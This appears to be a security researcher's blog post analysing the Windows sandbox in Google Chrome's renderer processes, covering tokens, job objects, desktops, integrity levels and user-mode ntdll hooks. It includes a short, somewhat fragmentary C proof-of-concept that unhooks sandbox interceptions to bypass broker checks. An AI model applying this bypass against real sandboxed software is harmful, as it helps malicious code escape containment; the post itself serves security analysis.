For the few last days people talk about the somewhat innovative idea of Google - every displayed tab (webpage) is handled by a different process. As I wrote before, personally I like the idea, so I decided to use the open-sourceness of Chrome and see what's inside. It looks like every renderer (the tab handling process) works with very restricted privileges. As one can read in the design document linked above, there are four Windows features in use (didn't have time yet to look inside Chrome for other OSes):
Tokens: Only to tokens remain accessible - Logon SID (Mandatory) and NULL SID (S-1-0-0, Mandatory, Restricted). The rest of SIDs has 'Deny' set. Also all the privileges are removed (Se*).
Job objects: I think just everything possible was limited - there are limits for the Desktop, Display Settings, Exit Windows, Global Atoms, USER Handles, Read/Write Clipboard, System Parameters and Administrator Access.
Alternate desktops: Additionally the new process is attached to a newly created desktop. Thanks to that, the process cannot send messages to other user processes (because a process cannot send messages to an outside desktop, where all the other processes exist).
Integrity levels: This is available only on Vista (and 2008 ofc) - the renderers work with lower integrity set.
Additionally to that, the guys at Google created some hook mechanism, which they user to hook some functions from ntdll.dll and kernel32.dll. The hooks are created for the following functions:
The hooks that I marked with NT are inline-patches set just before the SYSENTER is called. An example patch looks like this:
; A set hook
7C90DD7B > B8 7A000000 MOV EAX,7A ; Syscall number
7C90DD80 BA A5011500 MOV EDX,1501A5 ; Handler wrapper address
7C90DD85 FFE2 JMP EDX ; Jump to 1501A5
7C90DD87 C2 1000 RETN 10 ; This won't happen
; Handler wrapper
001501A5 83EC 08 SUB ESP,8
001501A8 52 PUSH EDX
001501A9 8B5424 0C MOV EDX,DWORD PTR SS:[ESP+C]
001501AD 895424 08 MOV DWORD PTR SS:[ESP+8],EDX
001501B1 C74424 0C 900115>MOV DWORD PTR SS:[ESP+C],150190 ; Original code address
001501B9 C74424 04 600D44>MOV DWORD PTR SS:[ESP+4],440D60 ; Handler function address
001501C1 5A POP EDX
001501C2 C3 RETN
; Archived original code
00150190 B8 7A000000 MOV EAX,7A
00150195 BA 0003FE7F MOV EDX,7FFE0300
0015019A FF12 CALL DWORD PTR DS:[EDX]
0015019C C2 1000 RETN 10
The wrapper and the original code is placed in a dynamically allocated memory (with a non constant address). The handler itself is written in C++, an in the source it's name has 'Target' prefix (i.e. TargetNtCreateFile). In the moment EIP is 'caught' by the hook, a messaged goes from the renderer to the browser with a question 'can a given operation take place' (like opening a file or sth). If the browser agrees, the operation take places, otherwise an Access Denied (or similar) error is returned.
The above mechanism targets to create another security layer, just to make an attackers life harder (or the attackers shellcodes life). But what can I say, the placement of the mechanism (user mode) is so bad, that it won't really make a difference for a potential attacker. An attacker can either use syscalls directly (the Google coders noted this possibility in the Chrome docs), or just take the hook off. Below there is a PoC code that takes the hook of a given function (it was made for XP SP2, and it's just a PoC):
void RemoveNtIntercept(LPCSTR FunctionName, BYTE Retn)
HINSTANCE NtDll = LoadLibraryA("ntdll.dll");
DWORD FuncAddr = (DWORD)GetProcAddress(NtDll, FunctionName);
if(FuncAddr == 0) return;
FuncAddr += 6; // Skip 6 bytes (MOV EAX, SYSCALL_NUMBER + first byte of MOV EDX, SYSCALL_HANDLER)
VirtualProtect((LPVOID)FuncAddr, 10, PAGE_EXECUTE_READWRITE, &OldPriv);
*((DWORD*)(FuncAddr)) = 0x7FFE0300; // Restore original handler
*((DWORD*)(FuncAddr+4)) = 0xC212FF | (((DWORD)Retn << 24) & 0xFF000000) ; // call + retn
*((BYTE* )(FuncAddr+8)) = 0x00; // retn cd.
An example usage looks like this:
RemoveNtIntercept(output, "NtCreateFile", 0x2C);
Well, the code isn't too long, is it? It's also not elegant, but it deals with hooks rather good. To tell you the truth I like the hook idea (btw take the look at the hooking source code, it's nicely written, and it's on a BSD license ;>), but on the other hand, the mechanism is Vulnerable By Design.
I recommend playing with the Sandbox. The sandbox_poc is easy to compile, and it allows to play with the sandbox without the need of compiling the whooole big Chrome.
Before I'll end this post, I'll share with a few interesting things I've found while looking inside Chrome. The first thing are the names of some hooked functions in chromium\src\sandbox\src\interception_unittest.cc:
"TheIncredibleCallToSaveTheWorld", INTERCEPTION_EAT, function);
The other thing is the fact that Chrome uses WinAPI to deal with FTP, so when You logon via FTP, the following credentials are sent:
Huh, almost like IE ;>
Btw, I've saw that there was some FTP (file time) related crash fixed today. Was it another remote DoS?
OK. Thats it for today.
UPDATE: The article became a little incorect once I get to know a few new facts. Please check this post.